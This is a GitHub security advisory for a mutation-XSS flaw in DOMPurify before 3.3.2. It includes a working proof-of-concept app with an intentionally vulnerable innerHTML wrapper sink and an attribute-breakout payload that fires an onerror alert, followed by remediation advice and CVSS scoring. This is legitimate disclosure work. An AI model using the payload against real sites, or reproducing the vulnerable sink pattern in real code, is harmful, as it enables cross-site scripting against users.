GHSA-h8r8-wccr-v5f2
ADVISORY - githubSummary
Description
A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).
Vulnerability
The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).
PoC
- Start the PoC app:
npm install
npm start
- Open
http://localhost:3001. - Set
Wrapper en sinktoxmp. - Use payload:
<img src=x alt="</xmp><img src=x onerror=alert('expoc')>">
- Click
Sanitize + Render. - Observe:
Sanitized responsestill contains the</xmp>sequence insidealt.- The sink reparses to include
<img src="x" onerror="alert('expoc')">. alert('expoc')is triggered.
- Files:
- index.html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>expoc - DOMPurify SSR PoC</title>
<style>
:root {
--bg: #f7f8fb;
--panel: #ffffff;
--line: #d8dce6;
--text: #0f172a;
--muted: #475569;
--accent: #0ea5e9;
}
* {
box-sizing: border-box;
}
body {
margin: 0;
font-family: "SF Mono", Menlo, Consolas, monospace;
color: var(--text);
background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
}
main {
max-width: 980px;
margin: 28px auto;
padding: 0 16px 20px;
}
h1 {
margin: 0 0 10px;
font-size: 1.45rem;
}
p {
margin: 0;
color: var(--muted);
}
.grid {
display: grid;
gap: 14px;
margin-top: 16px;
}
.card {
background: var(--panel);
border: 1px solid var(--line);
border-radius: 12px;
padding: 14px;
}
label {
display: block;
margin-bottom: 7px;
font-size: 0.85rem;
color: var(--muted);
}
textarea,
input,
select,
button {
width: 100%;
border: 1px solid var(--line);
border-radius: 8px;
padding: 9px 10px;
font: inherit;
background: #fff;
}
textarea {
min-height: 110px;
resize: vertical;
}
.row {
display: grid;
grid-template-columns: 1fr 230px;
gap: 12px;
}
button {
cursor: pointer;
background: var(--accent);
color: #fff;
border-color: #0284c7;
}
#sink {
min-height: 90px;
border: 1px dashed #94a3b8;
border-radius: 8px;
padding: 10px;
background: #f8fafc;
}
pre {
margin: 0;
white-space: pre-wrap;
word-break: break-word;
}
.note {
margin-top: 8px;
font-size: 0.85rem;
}
.status-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
gap: 8px;
margin-top: 10px;
}
.status-item {
border: 1px solid var(--line);
border-radius: 8px;
padding: 8px 10px;
font-size: 0.85rem;
background: #fff;
}
.status-item.vuln {
border-color: #ef4444;
background: #fef2f2;
}
.status-item.safe {
border-color: #22c55e;
background: #f0fdf4;
}
@media (max-width: 760px) {
.row {
grid-template-columns: 1fr;
}
}
</style>
</head>
<body>
<main>
<h1>expoc - DOMPurify Server-Side PoC</h1>
<p>
Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
</p>
<div class="grid">
<section class="card">
<label for="payload">Payload</label>
<textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
<div class="row" style="margin-top: 10px;">
<div>
<label for="wrapper">Wrapper en sink</label>
<select id="wrapper">
<option value="div">div</option>
<option value="textarea">textarea</option>
<option value="title">title</option>
<option value="style">style</option>
<option value="script" selected>script</option>
<option value="xmp">xmp</option>
<option value="iframe">iframe</option>
<option value="noembed">noembed</option>
<option value="noframes">noframes</option>
<option value="noscript">noscript</option>
</select>
</div>
<div style="display:flex;align-items:end;">
<button id="run" type="button">Sanitize + Render</button>
</div>
</div>
<p class="note">Se usa render vulnerable: <code>sink.innerHTML = '<wrapper>' + sanitized + '</wrapper>'</code>.</p>
<div class="status-grid">
<div class="status-item vuln">script (vulnerable)</div>
<div class="status-item vuln">xmp (vulnerable)</div>
<div class="status-item vuln">iframe (vulnerable)</div>
<div class="status-item vuln">noembed (vulnerable)</div>
<div class="status-item vuln">noframes (vulnerable)</div>
<div class="status-item vuln">noscript (vulnerable)</div>
<div class="status-item safe">div (no vulnerable)</div>
<div class="status-item safe">textarea (no vulnerable)</div>
<div class="status-item safe">title (no vulnerable)</div>
<div class="status-item safe">style (no vulnerable)</div>
</div>
</section>
<section class="card">
<label>Sanitized response</label>
<pre id="sanitized">(empty)</pre>
</section>
<section class="card">
<label>Sink</label>
<div id="sink"></div>
</section>
</div>
</main>
<script>
const payload = document.getElementById('payload');
const wrapper = document.getElementById('wrapper');
const run = document.getElementById('run');
const sanitizedNode = document.getElementById('sanitized');
const sink = document.getElementById('sink');
run.addEventListener('click', async () => {
const response = await fetch('/sanitize', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ input: payload.value })
});
const data = await response.json();
const sanitized = data.sanitized || '';
const w = wrapper.value;
sanitizedNode.textContent = sanitized;
sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
});
</script>
</body>
</html>
- server.js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');
const app = express();
const port = process.env.PORT || 3001;
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));
app.get('/health', (_req, res) => {
res.json({ ok: true, service: 'expoc' });
});
app.post('/sanitize', (req, res) => {
const input = typeof req.body?.input === 'string' ? req.body.input : '';
const sanitized = DOMPurify.sanitize(input);
res.json({ sanitized });
});
app.listen(port, () => {
console.log(`expoc running at http://localhost:${port}`);
});
- package.json
{
"name": "expoc",
"version": "1.0.0",
"main": "server.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"start": "node server.js",
"dev": "node server.js"
},
"keywords": [],
"author": "",
"license": "ISC",
"description": "",
"dependencies": {
"dompurify": "^3.3.1",
"express": "^5.2.1",
"jsdom": "^28.1.0"
}
}
Evidence
- PoC
- XSS triggered
Why This Happens
This is a mutation-XSS pattern caused by a parse-context mismatch:
- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (
xmpraw-text behavior). - Attacker-controlled sequence (
</xmp>) gains structural meaning in parse 2 and alters DOM structure.
Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.
Remediation Guidance
- Do not concatenate sanitized strings into new HTML wrappers followed by
innerHTML. - Keep the rendering context stable from sanitize to sink.
- Prefer DOM-safe APIs (
textContent,createElement,setAttribute) over string-based HTML composition. - If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (
xmp,script, etc.). - Add regression tests for context-switch/mXSS payloads (including
</xmp>,</noscript>, similar parser-breakout markers).
Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.
Following Fluid Attacks Disclosure Policy, if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft
Acknowledgements: Camilo Vera and Cristian Vargas.
Common Weakness Enumeration (CWE)
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
GitHub
-
CVSS SCORE
6.9medium| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| dompurify | npm | - | - | <3.3.2 | 3.3.2 |
CVSS:4 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges.
There is no loss of confidentiality within the Vulnerable System.
There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the Subsequent System.
There is no loss of integrity within the Vulnerable System.
Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact to the Subsequent System.
There is no impact to availability within the Vulnerable System.
There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.